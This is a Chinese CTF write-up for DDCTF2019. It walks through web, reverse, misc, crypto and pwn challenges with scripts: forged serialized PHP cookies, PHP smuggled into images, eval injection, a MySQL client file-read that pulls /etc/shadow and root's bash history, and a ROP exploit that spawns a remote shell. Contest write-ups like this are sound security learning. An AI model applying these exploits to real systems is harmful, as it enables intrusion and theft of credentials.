DDCTF2019 Writeup
历时 N 天, 滴滴终于审完了 Writeup, 终于可以发 wp 了, 我从 33 名到 16 名, 太真实了…
部分题目质量还是不错的 _(:з」∠)_, 因为要交上去, 所以就没截图了, 凑合看吧 (逃
Web
滴~
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
中 TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
可以看出来是双层 base64 + 一层 base16, 解码得到 flag.jpg, 那么可以得到 index.php 就是 TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
,
就可以直接读源码了, 然而并没有 flag, 也不能读 config.php,
跟着注释中的网址 https://blog.csdn.net/FengBanLiuYun/article/details/80616607
可以在同作者底下找到 vim 学习记录, 找到 .practice.txt.swp
但是直接访问 404…,
各种姿势尝试发现是 practice.txt.swp
… 有毒, 得到 f1ag!ddctf.php
的提示, 用 f1agconfigddctf.php
绕过, 得到源码,
用 f1ag!ddctf.php?k=data:,123&uid=123
即可绕过, 得到 flag.
WEB 签到题
在 /js/index.js
找到验证逻辑, 通过 didictf_username
的 header
来验证, 随便试了个 admin
就通过了,
得到下一步地址 /app/fL2XID2i0Cdh.php
,
1if(!empty($_POST["nickname"])) {
2 $arr = array($_POST["nickname"],$this->eancrykey);
3 $data = "Welcome my friend %s";
4 foreach ($arr as $k => $v) {
5 $data = sprintf($data,$v);
6 }
7 parent::response($data,"Welcome");
8}
让 nickname 为 %s 就可以拿到 key, 通过双写绕过替换. 然后构造 Cookie 反序列化就可以了, 脚本如下
1<?php
2Class Application {
3// ... 省略
4}
5
6$a = new Application();
7$a->path = "..././config/flag.txt";
8$s = serialize($a);
9$key = "EzblrbNS";
10$s .= md5($key . $s);
11echo $s; // O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2
把 ddctf_id
的值改成这个访问下就拿到 flag 了.
Upload-IMG
目的很明确, 图片里面存在 phpinfo()
就给 flag随便传个图片, 下载下来发现有 CREATOR: gd-jpeg
,
应该是在服务器端有二次处理, 不能通过 exif 啥的携带数据, 用 GIMP 创建一张 20x20 图片, 在本地测试了一下
1<?php
2$img = imagecreatefromjpeg('/home/rmb122/gd.jpg');
3imagejpeg($img, '/home/rmb122/gd-out.jpg', 80);
010editor 可以解析格式, fuzz 发现在 ScanData 第三个字节后面写 phpinfo() 不会被处理掉, 传上去就拿到 flag 了.
homebrew event loop
审计源码, 发现
1is_action = event[0] == 'a'
2action = get_mid_str(event, ':', ';')
3args = get_mid_str(event, action+';').split('#')
4try:
5 event_handler = eval(action + ('_handler' if is_action else '_function'))
6 ret_val = event_handler(args)
7except RollBackException:
取 event_handler 的时候没有过滤, 通过 ?action:funcname%23;...
也就是在名字后面加个 #
可以绕过必须有后缀的限制, 于是就可以构造?action:trigger_event%23;action:buy;1000%23action:get_flag;1
就可以调用 get_flag_handler
了, 虽然不能直接得到 flag, 而且交易会回滚, 但是因为
1def trigger_event(event):
2 session['log'].append(event)
3 if len(session['log']) > 5: session['log'] = session['log'][-5:]
4 if type(event) == type([]):
有 log 的原因, 而且会存在 session 里面, 而 flask 的 session 内的数据是存在 cookie 里面的,
通过 session_cookie_manager 直接就可以解码, 得到在 log 里面的 flag.
大吉大利,今晚吃鸡~
通过浏览器插件 wappalyzer
(应该是分析 Cookie 名称 revel_session
获取的) 可以得到后端是 go 写的,
盲猜有整数溢出, 最后试出来 2 ** 32
也就是 4294967296
可以溢出买到票, 里面比较迷,
还以为得什么洞拿到机器人的 token, 结果我自己又注册了个号, 发现可以直接自己移除自己…
然后写脚本不停自己移除自己就行了, 然后后端分配 id 还是在一个范围内随机的, 不是每次都是新 id, 而且访问速度还有限制
后面才能好久移除一个 233, 总之跑了好久移除完访问 /index.html#/main/result
直接拿到 flag.
1import requests
2import random
3import time
4
5act = 'rmb122'
6pwd = 'rmb122sudo ufw status numbered'
7mainSess = requests.session()
8mainSess.get(f'http://117.51.147.155:5050/ctf/api/login?name={act}&password={pwd}')
9
10
11for i in range(1,999):
12 tmpact = 'laioqoLKJHSLJDKHKJrmb122' + 'QAQ' + str(i)
13 tmppwd = 'zxczxczxczxcczx'
14 tmp = requests.session()
15 tmp.get(f'http://117.51.147.155:5050/ctf/api/register?name={tmpact}&password={tmppwd}')
16 tmp.get('http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296')
17 bill = tmp.get('http://117.51.147.155:5050/ctf/api/search_bill_info').json()['data'][0]['bill_id']
18 tmp.get(f'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}')
19 res = tmp.get('http://117.51.147.155:5050/ctf/api/search_ticket').json()
20 id = res['data'][0]['id']
21 token = res['data'][0]['ticket']
22 res = mainSess.get(f'http://117.51.147.155:5050/ctf/api/remove_robot?id={id}&ticket={token}').json()
23 print(res)
24 time.sleep(3)
mysql弱口令
既然是客户端连服务端, 可以想到是 mysql 客户端的文件读取漏洞, 有现成的项目
然后一开始没发现 agent.py
里面是用的 netstat
, 我用普通用户权限跑过不了检测 233, 就先去做上面一题了,
之后看了下源码用 root
跑就没问题了, 成功读 /etc/passwd
, 接下来直接尝试读 /etc/shadow
, 竟然读的了, 应该是 root 权限跑的 bot,
然后读 /root/.bash_history
可以得到 bot 源码路径, 发现提示 # flag in mysql curl@localhost database:security table:flag
,
那么直接读数据库文件就可以了, /var/lib/mysql/security/flag.ibd
, 拿到 flag.
Reverse
Windows Reverse1
upx -d
直接脱壳, 但是不知道为什么跑不了 233, 最后还是用的 ida
动态调试原程序, 发现就是对输入的字符替换一下, 写个脚本就行
1sbox = '''~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\x27&%$#"! '''
2shift = 32
3revSbox = {}
4flag = "DDCTF{reverseME}"
5for seq, i in enumerate(sbox):
6 revSbox[i] = chr(32 + seq)
7for i in flag:
8 print(revSbox[i], end='')
Windows Reverse2
用了没听说过的壳, 于是就手动找 OEP 脱了, 然而也跑不了, 只能 F5 233, 不过这也足够了, 发现第一层
就是 hex2bin, 然后第二层用了 std::string, 看不出来是啥, 动态调发现其实就是个 base64encode, 结果是 reverse+
就通过
那么同样一个脚本搞定
1import base64
2
3flag = 'reverse+'
4flag = base64.b64decode(flag)
5flag = base64.b16encode(flag)
6print(flag)
MISC
真-签到题
公告最底下就是啦
北京地铁
不得不说这题脑洞是真的大… Stegsolve.jar
可以直接提取出隐写的东西, 但是不知道有啥用…
最后提示三放出来以后, 谷歌搜图搜到原图, 发现把二号线的颜色给换了, 号
和 线
字周围的颜色不一致就是没 PS 好,
233, 然后找了半天差别, 发现 魏公村
的颜色跟别的站点不一样, 随便试了一下拼音发现竟然就是秘钥, 惊了…
爆破了半天没出来, 没想到秘钥居然是这个.
1import base64
2from Crypto.Cipher import AES
3from string import ascii_lowercase
4from itertools import product
5
6def padding(key):
7 return key + b'\x00' * (16 - len(key) % 16)
8
9# for i in product(*([ascii_lowercase] * count)):
10# for count in range(1, 17):
11i = 'weigongcun'
12c = "iKk/Ju3vu4wOnssdIaUSrg=="
13c = base64.b64decode(c)
14a = AES.new(padding(i.encode()), AES.MODE_ECB)
15res = a.decrypt(c)
16if res[:2] == b"DDCTF":
17 print(i)
18print(res)
MulTzor
感觉是 xor, 随手丢到之前看老外做题发现的工具,
autopwn 一下直接就出 flag 了, 不得不说太强了.
1[+] Running multi-byte XOR brute force attack...
2
3Best candidate decryptions for M�fjc�ab~Z[�2e...:
4----------------------------------------
5
6Trying keysize 24
7Processing chunk 24 of 78
8Trying keysize 18
9Processing chunk 42 of 78
10Trying keysize 36
11Processing chunk 78 of 78
12
13....省略
14
15The flag is: DDCTF{07b1b46d1db28843d1fd76889fea9b36}
[PWN] strike
read 不会在读取的数据后面加 \x00, 于是就可以通过 fprintf 泄露 setbuf 地址,
然后算出基地址. password 长度输 -1, 就可以绕过长度限制, 直接栈溢出, 之后就是 rop 了.
1from pwn import *
2
3p = remote('116.85.48.105',5005)
4p.recvuntil('username:')
5p.send('1'* 40)
6
7t = p.recvuntil('Plea')
8libcleak = u32(t[0x33:0x37])
9stackButtom = u32(t[0x2f:0x33])
10stack = stackButtom + 0x18
11libcbase = libcleak - 0x00065465
12# print hex(stack)
13# print hex(libcbase)
14
15p.recvuntil('password:')
16p.sendline('-1')
17p.recvuntil('):')
18binsh = libcbase + 0x0015902B
19# execve = libcbase + 0x000AF590
20system = libcbase + 0x0003A940
21payload = p32(stack)*((0x4c+0x18)/4 - 1) + p32(system) + p32(binsh) *4
22p.send(payload)
23p.interactive()
Wireshark
找 HTTP 流量, 可以找到几张图, 有一张图损坏无法打开, 发现 crc 不对, 修复一下就是秘钥,
得到 57pmYyWt
, 然而不知道是啥隐写, 最后通过流量记录发现访问过 http://tools.jb51.net/
,
可以在上面找到一个图片隐写, 把图片都试了一下最后发现那张比较大的图片可以解出 flag,
1flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-
把里面的 44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D
, 解个 hex 就拿到 flag.
联盟决策大会
Shamir 秘密分享方案, 密码学刚学, 在 wiki 上有个挺好的脚本,
题目相当于用两次 Shamir, 这样就可以让两个组织都到才能解密, 把脚本照着这个思路稍微改一下就能拿到 flag,
1from __future__ import division
2from __future__ import print_function
3
4import random
5import functools
6
7# 12th Mersenne Prime
8# (for this application we want a known prime number as close as
9# possible to our security level; e.g. desired security level of 128
10# bits -- too large and all the ciphertext is large; too small and
11# security is compromised)
12_PRIME = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
13# 13th Mersenne Prime is 2**521 - 1
14
15# ... 省略
16
17t1 = (1,0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A)
18t2 = (2,0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7)
19t3 = (4,0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)
20t4 = (3,0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA)
21t5 = (4,0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9)
22t6 = (5,0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)
23
24def main():
25 '''main function'''
26 shares = [t1,t2,t3]
27 shares2 = [t4,t5,t6]
28 a = recover_secret(shares)
29 b = recover_secret(shares2)
30 t7 = (1, a)
31 t8 = (2, b)
32 c = recover_secret([t7, t8])
33 c = hex(c)[2:]
34 print(c)
35 print(bytes.fromhex(c))
36 #shares = []
37 #a = recover_secret(shares)
38 #print(a)